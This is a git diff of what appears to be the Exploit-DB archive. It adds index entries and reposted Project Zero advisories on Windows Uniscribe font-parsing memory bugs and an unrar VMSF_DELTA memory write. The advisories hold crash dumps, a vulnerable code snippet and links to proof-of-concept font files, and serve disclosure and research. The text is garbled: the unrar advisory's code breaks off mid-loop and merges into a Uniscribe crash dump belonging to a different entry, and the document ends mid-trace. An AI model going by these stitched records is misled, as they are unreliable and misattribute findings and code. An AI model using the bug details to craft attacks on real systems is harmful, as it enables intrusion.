diff --git a/files.csv b/files.csv index 1fe4b3ca4..41b4e45df 100644 --- a/files.csv +++ b/files.csv @@ -5578,6 +5578,22 @@ id,file,description,date,author,platform,type,port 42231,platforms/windows/dos/42231.cpp,"Microsoft Windows - 'nt!NtQueryInformationJobObject (information class 12)' Kernel Stack Memory Disclosure",2017-06-22,"Google Security Research",windows,dos,0 42232,platforms/windows/dos/42232.cpp,"Microsoft Windows - 'nt!NtQueryInformationJobObject (information class 28)' Kernel Stack Memory Disclosure",2017-06-22,"Google Security Research",windows,dos,0 42233,platforms/windows/dos/42233.cpp,"Microsoft Windows - 'nt!NtQueryInformationTransaction (information class 1)' Kernel Stack Memory Disclosure",2017-06-22,"Google Security Research",windows,dos,0 +42234,platforms/windows/dos/42234.txt,"Microsoft Windows - 'USP10!MergeLigRecords' Uniscribe Font Processing Heap-Based Memory Corruption",2017-06-23,"Google Security Research",windows,dos,0 +42235,platforms/windows/dos/42235.txt,"Microsoft Windows - 'USP10!ttoGetTableData' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42236,platforms/windows/dos/42236.txt,"Microsoft Windows - 'USP10!SubstituteNtoM' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42237,platforms/windows/dos/42237.txt,"Microsoft Windows - 'USP10!CreateIndexTable' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42238,platforms/windows/dos/42238.txt,"Microsoft Windows - 'USP10!NextCharInLiga' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42239,platforms/windows/dos/42239.txt,"Microsoft Windows - 'USP10!otlSinglePosLookup::getCoverageTable' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42240,platforms/windows/dos/42240.txt,"Microsoft Windows - 'USP10!otlValueRecord::adjustPos' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42241,platforms/windows/dos/42241.txt,"Microsoft Windows - 'USP10!otlReverseChainingLookup::apply' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0 +42242,platforms/windows/dos/42242.cpp,"Microsoft Windows - 'nt!NtQueryInformationResourceManager (information class 0)' Kernel Stack Memory Disclosure",2017-06-23,"Google Security Research",windows,dos,0 +42243,platforms/windows/dos/42243.txt,"Microsoft Windows - Kernel ATMFD.DLL Out-of-Bounds Read due to Malformed Name INDEX in the CFF Table",2017-06-23,"Google Security Research",windows,dos,0 +42244,platforms/windows/dos/42244.cpp,"Microsoft Windows - 'nt!NtQueryInformationWorkerFactory (WorkerFactoryBasicInformation)' Kernel Stack Memory Disclosure",2017-06-23,"Google Security Research",windows,dos,0 +42245,platforms/multiple/dos/42245.txt,"unrar 5.40 - VMSF_DELTA Filter Arbitrary Memory Write",2017-06-23,"Google Security Research",multiple,dos,0 +42246,platforms/windows/dos/42246.html,"Microsoft Edge - 'CssParser::RecordProperty' Type Confusion",2017-06-23,"Google Security Research",windows,dos,0 +42247,platforms/multiple/dos/42247.txt,"Adobe Flash - AVC Edge Processing Out-of-Bounds Read",2017-06-23,"Google Security Research",multiple,dos,0 +42248,platforms/multiple/dos/42248.txt,"Adobe Flash - Image Decoding Out-of-Bounds Read",2017-06-23,"Google Security Research",multiple,dos,0 +42249,platforms/multiple/dos/42249.txt,"Adobe Flash - ATF Parser Heap Corruption",2017-06-23,"Google Security Research",multiple,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -37931,7 +37947,7 @@ id,file,description,date,author,platform,type,port 41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0 41845,platforms/php/webapps/41845.txt,"WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80 41846,platforms/php/webapps/41846.html,"WordPress Plugin CopySafe Web Protect < 2.6 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80 -42089,platforms/xml/webapps/42089.txt,"Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution",2017-05-30,SecuriTeam,xml,webapps,0 +42089,platforms/xml/webapps/42089.txt,"Trend Micro Deep Security 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution",2017-05-30,SecuriTeam,xml,webapps,0 42090,platforms/multiple/webapps/42090.txt,"KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution",2017-05-30,SecuriTeam,multiple,webapps,0 42091,platforms/windows/webapps/42091.txt,"IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow",2017-05-30,SecuriTeam,windows,webapps,0 41849,platforms/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,php,webapps,0 diff --git a/platforms/multiple/dos/42245.txt b/platforms/multiple/dos/42245.txt new file mode 100755 index 000000000..9243c01a5 --- /dev/null +++ b/platforms/multiple/dos/42245.txt @@ -0,0 +1,52 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1286&desc=6 + +It appears that the VMSF_DELTA memory corruption that was reported to Sophos AV in 2012 (and fixed there) was actually inherited from upstream unrar. For unknown reasons the information did not reach upstream rar or was otherwise lost, and the bug seems to have persisted there to this day. + +The bug is sometimes called "Sophos Anti-Virus RAR VMSF_DELTA Filter Signedness Error", and referenced in the following links: + https://community.sophos.com/kb/en-us/118424#six + http://telussecuritylabs.com/threats/show/TSL20121207-01 + +The issue is in the following code: + + case VMSF_DELTA: + { + int DataSize=R[4],Channels=R[0],SrcPos=0,Border=DataSize*2; + if ((uint)DataSize>=VM_MEMSIZE/2) + break; + + // Bytes from same channels are grouped to continual data blocks, + // so we need to place them back to their interleaving positions. + for (int CurChannel=0;CurChannel kb + # ChildEBP RetAddr Args to Child +00 003cefe0 774c772d 03621fc1 03621f8b 000023b0 msvcrt!memmove+0x224 +01 003ceffc 774c75c3 03615fd0 036159d0 003cf098 USP10!MergeLigRecords+0x3d +02 003cf05c 774c7124 0000001a 035b3d88 035bffa8 USP10!LoadTTOArabicShapeTables+0x3f3 +03 003cf070 774cc734 2e0105bd 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4 +04 003cf08c 774ba5a0 2e0105bd 036157d0 0000001a USP10!ArabicLoadTbl+0xd4 +05 003cf0b4 774ba692 035a6124 2e0105bd 0000001a USP10!UpdateCache+0xb0 +06 003cf0c8 774c15fd 2e0105bd 035a6000 774c16ab USP10!ScriptCheckCache+0x62 +07 003cf0d4 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd +08 003cf10c 774c2bd4 00000001 00000004 003cf18c USP10!RenderItemNoFallback+0x5b +09 003cf138 774c2e62 00000001 00000004 003cf18c USP10!RenderItemWithFallback+0x104 +0a 003cf15c 774c43f9 00000004 003cf18c 035a6124 USP10!RenderItem+0x22 +0b 003cf1a0 774b7a04 000004a0 00000400 2e0105bd USP10!ScriptStringAnalyzeGlyphs+0x1e9 +0c 003cf1b8 760a1736 2e0105bd 035a6040 0000000a USP10!ScriptStringAnalyse+0x284 +0d 003cf204 760a18c1 2e0105bd 003cf688 0000000a LPK!LpkStringAnalyse+0xe5 +0e 003cf300 760a17b4 2e0105bd 00000000 00000000 LPK!LpkCharsetDraw+0x332 +0f 003cf334 77df56a9 2e0105bd 00000000 00000000 LPK!LpkDrawTextEx+0x40 +10 003cf374 77df5a64 2e0105bd 00000048 00000000 USER32!DT_DrawStr+0x13c +11 003cf3c0 77df580f 2e0105bd 003cf688 003cf69c USER32!DT_GetLineBreak+0x78 +12 003cf46c 77df5882 2e0105bd 00000000 0000000a USER32!DrawTextExWorker+0x250 +13 003cf490 77df5b68 2e0105bd 003cf688 ffffffff USER32!DrawTextExW+0x1e +14 003cf4c4 000e6c3a 2e0105bd 003cf688 ffffffff USER32!DrawTextW+0x4d +[...] +0:000> db poi(ebp+8) +03621fc1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621fd1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621fe1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621ff1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 d0 d0 d0 d0 ?? ...............? +03622001 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? +03622011 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? +03622021 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? +03622031 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? +0:000> db poi(ebp+c) +03621f8b 00 b5 00 b7 00 b9 00 bb-00 bd 00 bf 00 c3 00 c5 ................ +03621f9b 00 c9 00 cb 00 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621fab c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621fbb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621fcb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621fdb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621feb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ +03621ffb c0 d0 d0 d0 d0 ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? .....??????????? +0:000> dd esi +03624337 ???????? ???????? ???????? ???????? +03624347 ???????? ???????? ???????? ???????? +03624357 ???????? ???????? ???????? ???????? +03624367 ???????? ???????? ???????? ???????? +03624377 ???????? ???????? ???????? ???????? +03624387 ???????? ???????? ???????? ???????? +03624397 ???????? ???????? ???????? ???????? +036243a7 ???????? ???????? ???????? ???????? +0:000> dd edi +0362436d ???????? ???????? ???????? ???????? +0362437d ???????? ???????? ???????? ???????? +0362438d ???????? ???????? ???????? ???????? +0362439d ???????? ???????? ???????? ???????? +036243ad ???????? ???????? ???????? ???????? +036243bd ???????? ???????? ???????? ???????? +036243cd ???????? ???????? ???????? ???????? +036243dd ???????? ???????? ???????? ???????? +--- + +The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +It's worth noting that the crash is almost identical to the one reported in Issue #1026 , which was supposedly fixed as CVE-2017-0087 in the MS17-011 bulletin. The number of times we have encountered this crash while fuzzing the patched version of USP10.DLL might suggest that the fix was incomplete (or alternatively, that there is a separate bug which causes a crash in the same code location). + +Attached are 6 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42234.zip diff --git a/platforms/windows/dos/42235.txt b/platforms/windows/dos/42235.txt new file mode 100755 index 000000000..4634cb260 --- /dev/null +++ b/platforms/windows/dos/42235.txt @@ -0,0 +1,79 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1199 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!ttoGetTableData function, while trying to display text using a corrupted TTF font file: + +--- +(210.274): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=000002f6 ebx=000000d0 ecx=0361c003 edx=0000d0d0 esi=0361c000 edi=016101e4 +eip=774d3d43 esp=0046f1e0 ebp=0046f1f0 iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +USP10!ttoGetTableData+0x1aa3: +774d3d43 660fb606 movzx ax,byte ptr [esi] ds:0023:0361c000=?? + +0:000> kb + # ChildEBP RetAddr Args to Child +00 0046f1f0 774d2e10 00000000 00000001 0361b734 USP10!ttoGetTableData+0x1aa3 +01 0046f230 774d2d68 0361b73c 036255f8 0046f250 USP10!ttoGetTableData+0xb70 +02 0046f258 774d22f1 036255f8 036255f8 0361b734 USP10!ttoGetTableData+0xac8 +03 0046f26c 774c75b8 03619fd0 036199d0 0046f308 USP10!ttoGetTableData+0x51 +04 0046f2cc 774c7124 0000001a 035b3d88 035c1fa8 USP10!LoadTTOArabicShapeTables+0x3e8 +05 0046f2e0 774cc734 9a010536 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4 +06 0046f2fc 774ba5a0 9a010536 036197d0 0000001a USP10!ArabicLoadTbl+0xd4 +07 0046f324 774ba692 035a6124 9a010536 0000001a USP10!UpdateCache+0xb0 +08 0046f338 774c15fd 9a010536 035a6000 774c16ab USP10!ScriptCheckCache+0x62 +09 0046f344 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd +0a 0046f37c 774c2bd4 00000001 00000000 0046f3fc USP10!RenderItemNoFallback+0x5b +0b 0046f3a8 774c2e62 00000001 00000000 0046f3fc USP10!RenderItemWithFallback+0x104 +0c 0046f3cc 774c43f9 00000000 0046f3fc 035a6124 USP10!RenderItem+0x22 +0d 0046f410 774b7a04 000004a0 00000400 9a010536 USP10!ScriptStringAnalyzeGlyphs+0x1e9 +0e 0046f428 760a1736 9a010536 035a6040 0000000a USP10!ScriptStringAnalyse+0x284 +0f 0046f474 760a18c1 9a010536 0046f8f8 0000000a LPK!LpkStringAnalyse+0xe5 +10 0046f570 760a17b4 9a010536 00000000 00000000 LPK!LpkCharsetDraw+0x332 +11 0046f5a4 77df56a9 9a010536 00000000 00000000 LPK!LpkDrawTextEx+0x40 +12 0046f5e4 77df5a64 9a010536 00000058 00000000 USER32!DT_DrawStr+0x13c +13 0046f630 77df580f 9a010536 0046f8f8 0046f90c USER32!DT_GetLineBreak+0x78 +14 0046f6dc 77df5882 9a010536 00000000 0000000a USER32!DrawTextExWorker+0x250 +15 0046f700 77df5b68 9a010536 0046f8f8 ffffffff USER32!DrawTextExW+0x1e +[...] + +0:000> !heap -p -a esi-1 + address 0361bfff found in + _DPH_HEAP_ROOT @ 35a1000 + in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) + 35a1780: 361b1b0 e4e - 361b000 2000 + 73448e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 + 77d26206 ntdll!RtlDebugAllocateHeap+0x00000030 + 77cea127 ntdll!RtlpAllocateHeap+0x000000c4 + 77cb5950 ntdll!RtlAllocateHeap+0x0000023a + 7433ae6a vrfcore!VerifierSetAPIClassName+0x000000aa + 774c6724 USP10!UspAllocCache+0x00000054 + 774c728f USP10!LoadTTOArabicShapeTables+0x000000bf + 774c7124 USP10!LoadArabicShapeTables+0x000000d4 + 774cc734 USP10!ArabicLoadTbl+0x000000d4 + 774ba5a0 USP10!UpdateCache+0x000000b0 + 774ba692 USP10!ScriptCheckCache+0x00000062 + 774c15fd USP10!GetShapeFunction+0x0000000d + 774c2bd4 USP10!RenderItemWithFallback+0x00000104 + 774c2e62 USP10!RenderItem+0x00000022 + 774c43f9 USP10!ScriptStringAnalyzeGlyphs+0x000001e9 + 774b7a04 USP10!ScriptStringAnalyse+0x00000284 + 760a1736 LPK!LpkStringAnalyse+0x000000e5 + 760a18c1 LPK!LpkCharsetDraw+0x00000332 + 760a17b4 LPK!LpkDrawTextEx+0x00000040 + 77df56a9 USER32!DT_DrawStr+0x0000013c + 77df5a64 USER32!DT_GetLineBreak+0x00000078 + 77df580f USER32!DrawTextExWorker+0x00000250 + 77df5882 USER32!DrawTextExW+0x0000001e + 77df5b68 USER32!DrawTextW+0x0000004d + [...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached are 3 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42235.zip diff --git a/platforms/windows/dos/42236.txt b/platforms/windows/dos/42236.txt new file mode 100755 index 000000000..70a23d4cc --- /dev/null +++ b/platforms/windows/dos/42236.txt @@ -0,0 +1,47 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1200 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!SubstituteNtoM function, while trying to display text using a corrupted TTF font file: + +--- +(69c.164): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=035fc256 ebx=00000000 ecx=035fc256 edx=00000019 esi=035cc1d0 edi=00000001 +eip=7750a774 esp=0014eb38 ebp=0014eb64 iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +USP10!SubstituteNtoM+0x2c4: +7750a774 668b08 mov cx,word ptr [eax] ds:0023:035fc256=???? +0:000> kb + # ChildEBP RetAddr Args to Child +00 0014eb64 7750994d 0014ef40 0014ef64 035fc256 USP10!SubstituteNtoM+0x2c4 +01 0014eba8 7750142a 0014ef40 0014ef64 0014ee54 USP10!otlMultiSubstLookup::apply+0x10d +02 0014ec10 775039f1 00000000 0014ef40 00001c3a USP10!ApplyLookup+0x1aa +03 0014ee14 774fefcf 42555347 0014ef7c 0014ef40 USP10!ApplyFeatures+0x481 +04 0014ee60 774ff920 00000000 035f3ffe 035f3c90 USP10!SubstituteOtlGlyphs+0x1bf +05 0014ee9c 774f1500 0014ef18 0014ef50 0014ef7c USP10!SubstituteOtlChars+0x220 +06 0014f118 774e55da 0014f224 0014f250 0014f238 USP10!HebrewEngineGetGlyphs+0x690 +07 0014f1d8 774e273f 0014f224 0014f250 0014f238 USP10!ShapingGetGlyphs+0x36a +08 0014f2c4 774b5c6f a30105a2 035c6124 035c6318 USP10!ShlShape+0x2ef +09 0014f308 774c174a a30105a2 035c6124 035c6318 USP10!ScriptShape+0x15f +0a 0014f368 774c2bd4 00000000 00000000 0014f3e8 USP10!RenderItemNoFallback+0xfa +0b 0014f394 774c2e62 00000000 00000000 0014f3e8 USP10!RenderItemWithFallback+0x104 +0c 0014f3b8 774c43f9 00000000 0014f3e8 035c6124 USP10!RenderItem+0x22 +0d 0014f3fc 774b7a04 000004a0 00000400 a30105a2 USP10!ScriptStringAnalyzeGlyphs+0x1e9 +0e 0014f414 760a1736 a30105a2 035c6040 0000000a USP10!ScriptStringAnalyse+0x284 +0f 0014f460 760a18c1 a30105a2 0014f8e4 0000000a LPK!LpkStringAnalyse+0xe5 +10 0014f55c 760a17b4 a30105a2 00000000 00000000 LPK!LpkCharsetDraw+0x332 +11 0014f590 77df56a9 a30105a2 00000000 00000000 LPK!LpkDrawTextEx+0x40 +12 0014f5d0 77df5a64 a30105a2 00000728 00000000 USER32!DT_DrawStr+0x13c +13 0014f61c 77df580f a30105a2 0014f8e4 0014f8f8 USER32!DT_GetLineBreak+0x78 +14 0014f6c8 77df5882 a30105a2 00000000 0000000a USER32!DrawTextExWorker+0x250 +15 0014f6ec 77df5b68 a30105a2 0014f8e4 ffffffff USER32!DrawTextExW+0x1e +[...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached are 2 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42236.zip diff --git a/platforms/windows/dos/42237.txt b/platforms/windows/dos/42237.txt new file mode 100755 index 000000000..a093247c5 --- /dev/null +++ b/platforms/windows/dos/42237.txt @@ -0,0 +1,45 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1201 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!CreateIndexTable function, while trying to display text using a corrupted TTF font file: + +--- +(5cc.74): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000025 edi=0365428f +eip=774cc410 esp=002cef70 ebp=002cf084 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +USP10!CreateIndexTable+0x40: +774cc410 0fb64c4701 movzx ecx,byte ptr [edi+eax*2+1] ds:0023:03654290=?? +0:000> kb + # ChildEBP RetAddr Args to Child +00 002cf084 774cc35e 036437d0 03653f68 03651ff4 USP10!CreateIndexTable+0x40 +01 002cf098 774c746e 036437d0 03643fd0 036439d0 USP10!CreateIsStartOfRuleTable+0x2e +02 002cf0fc 774c7124 0000001a 035e3d88 035effa8 USP10!LoadTTOArabicShapeTables+0x29e +03 002cf110 774cc734 6c010413 035e3d88 035d6124 USP10!LoadArabicShapeTables+0xd4 +04 002cf12c 774ba5a0 6c010413 036437d0 0000001a USP10!ArabicLoadTbl+0xd4 +05 002cf154 774ba692 035d6124 6c010413 0000001a USP10!UpdateCache+0xb0 +06 002cf168 774c15fd 6c010413 035d6000 774c16ab USP10!ScriptCheckCache+0x62 +07 002cf174 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd +08 002cf1ac 774c2bd4 00000001 00000002 002cf22c USP10!RenderItemNoFallback+0x5b +09 002cf1d8 774c2e62 00000001 00000002 002cf22c USP10!RenderItemWithFallback+0x104 +0a 002cf1fc 774c43f9 00000002 002cf22c 035d6124 USP10!RenderItem+0x22 +0b 002cf240 774b7a04 000004a0 00000400 6c010413 USP10!ScriptStringAnalyzeGlyphs+0x1e9 +0c 002cf258 760a1736 6c010413 035d6040 0000000a USP10!ScriptStringAnalyse+0x284 +0d 002cf2a4 760a18c1 6c010413 002cf728 0000000a LPK!LpkStringAnalyse+0xe5 +0e 002cf3a0 760a17b4 6c010413 00000000 00000000 LPK!LpkCharsetDraw+0x332 +0f 002cf3d4 77df56a9 6c010413 00000000 00000000 LPK!LpkDrawTextEx+0x40 +10 002cf414 77df5a64 6c010413 00000070 00000000 USER32!DT_DrawStr+0x13c +11 002cf460 77df580f 6c010413 002cf728 002cf73c USER32!DT_GetLineBreak+0x78 +12 002cf50c 77df5882 6c010413 00000000 0000000a USER32!DrawTextExWorker+0x250 +13 002cf530 77df5b68 6c010413 002cf728 ffffffff USER32!DrawTextExW+0x1e +[...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached is a proof of concept malformed font file which triggers the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42237.zip diff --git a/platforms/windows/dos/42238.txt b/platforms/windows/dos/42238.txt new file mode 100755 index 000000000..b6ff5d54a --- /dev/null +++ b/platforms/windows/dos/42238.txt @@ -0,0 +1,49 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1202 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!NextCharInLiga function, while trying to display text using a corrupted TTF font file: + +--- +(3d4.454): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=000032c3 ebx=002cedbc ecx=00000002 edx=0372c060 esi=00000006 edi=00006586 +eip=77505a5e esp=002ce974 ebp=002ce980 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +USP10!NextCharInLiga+0x1e: +77505a5e 0fb73c17 movzx edi,word ptr [edi+edx] ds:0023:037325e6=???? +0:000> kb + # ChildEBP RetAddr Args to Child +00 002ce980 774ffbe3 002cedbc 000032c3 00000008 USP10!NextCharInLiga+0x1e +01 002ce99c 77506148 002cedbc 002cedb0 00000006 USP10!CharToComponent+0x43 +02 002ce9c8 775062bb 002cedbc 002cedb0 00000009 USP10!findBaseLigature+0xa8 +03 002cea0c 77501733 002cedbc 0374cd30 002cecbc USP10!otlMkLigaPosLookup::apply+0x9b +04 002cea78 775039f1 00000000 002cedbc 002cedb0 USP10!ApplyLookup+0x4b3 +05 002cec7c 774ff1d1 534f5047 002cedf4 002cedbc USP10!ApplyFeatures+0x481 +06 002cecc8 774fb28b 03758ffc 03758d68 002cedf4 USP10!RePositionOtlGlyphs+0x1c1 +07 002cecfc 774f7df3 002ced94 002cede0 002cedf4 USP10!ShapingLibraryInternal::RePositionOtlGlyphsWithLanguageFallback+0x2b +08 002cef68 774e5bee 002cf0b8 002cf0c0 002cf0a4 USP10!GenericEngineGetGlyphPositions+0x8a3 +09 002cf03c 774e2d8a 002cf0b8 002cf0c0 002cf0a4 USP10!ShapingGetGlyphPositions+0x40e +0a 002cf134 774b5e45 000105d3 03726124 0372c020 USP10!ShlPlace+0x20a +0b 002cf17c 774c193d 000105d3 03726124 037263dc USP10!ScriptPlace+0x165 +0c 002cf1d8 774c2bd4 00000000 00000000 002cf258 USP10!RenderItemNoFallback+0x2ed +0d 002cf204 774c2e62 00000000 00000000 002cf258 USP10!RenderItemWithFallback+0x104 +0e 002cf228 774c43f9 00000000 002cf258 03726124 USP10!RenderItem+0x22 +0f 002cf26c 774b7a04 000004a0 00000400 000105d3 USP10!ScriptStringAnalyzeGlyphs+0x1e9 +10 002cf284 760a1736 000105d3 03726040 0000000a USP10!ScriptStringAnalyse+0x284 +11 002cf2d0 760a18c1 000105d3 002cf754 0000000a LPK!LpkStringAnalyse+0xe5 +12 002cf3cc 760a17b4 000105d3 00000000 00000000 LPK!LpkCharsetDraw+0x332 +13 002cf400 77df56a9 000105d3 00000000 00000000 LPK!LpkDrawTextEx+0x40 +14 002cf440 77df5a64 000105d3 00000120 00000000 USER32!DT_DrawStr+0x13c +15 002cf48c 77df580f 000105d3 002cf754 002cf768 USER32!DT_GetLineBreak+0x78 +16 002cf538 77df5882 000105d3 00000000 0000000a USER32!DrawTextExWorker+0x250 +17 002cf55c 77df5b68 000105d3 002cf754 ffffffff USER32!DrawTextExW+0x1e +[...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached are 3 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42238.zip diff --git a/platforms/windows/dos/42239.txt b/platforms/windows/dos/42239.txt new file mode 100755 index 000000000..92a37db14 --- /dev/null +++ b/platforms/windows/dos/42239.txt @@ -0,0 +1,76 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1203 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlSinglePosLookup::getCoverageTable function, while trying to display text using a corrupted TTF font file: + +--- +(7f0.488): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=03670ffe ebx=0365c048 ecx=03671000 edx=03671000 esi=03671000 edi=0024e9d4 +eip=77500808 esp=0024e918 ebp=0024e918 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +USP10!otlSinglePosLookup::getCoverageTable+0x48: +77500808 668b4802 mov cx,word ptr [eax+2] ds:0023:03671000=???? +0:000> kb + # ChildEBP RetAddr Args to Child +00 0024e918 77502c4b 0024e9d4 03671000 03671000 USP10!otlSinglePosLookup::getCoverageTable+0x48 +01 0024e964 77504860 03670ffe 534f5047 00000001 USP10!GetSubtableCoverage+0xab +02 0024ea10 77504c29 534f5047 0367f132 00003ece USP10!BuildTableCache+0x240 +03 0024ea48 774fed73 0024ea6c 00004000 0367f000 USP10!BuildCache+0x79 +04 0024ea74 774e4fec 0024eaa0 00004000 0024eb44 USP10!BuildOtlCache+0x53 +05 0024ecc0 774bd37b 0024edb8 0024ed48 0024ecd8 USP10!ShapingCreateFontCacheData+0x4cc +06 0024edc0 774bd8ef 03663e20 0024f148 00000004 USP10!ShlLoadFont+0x6b +07 0024f02c 774b9317 3c0102ac 0024f0b8 00000000 USP10!LoadFont+0x54f +08 0024f048 774b9630 3c0102ac 0024f070 7750d468 USP10!FindOrCreateFaceCache+0xe7 +09 0024f150 774b99bb 3c0102ac 03656124 3c0102ac USP10!FindOrCreateSizeCacheWithoutRealizationID+0xf0 +0a 0024f178 774ba528 3c0102ac 03656124 03656124 USP10!FindOrCreateSizeCacheUsingRealizationID+0xbb +0b 0024f19c 774ba692 03656124 3c0102ac 03656000 USP10!UpdateCache+0x38 +0c 0024f1b0 774b7918 3c0102ac 000004a0 00000400 USP10!ScriptCheckCache+0x62 +0d 0024f1cc 760a1736 3c0102ac 03656040 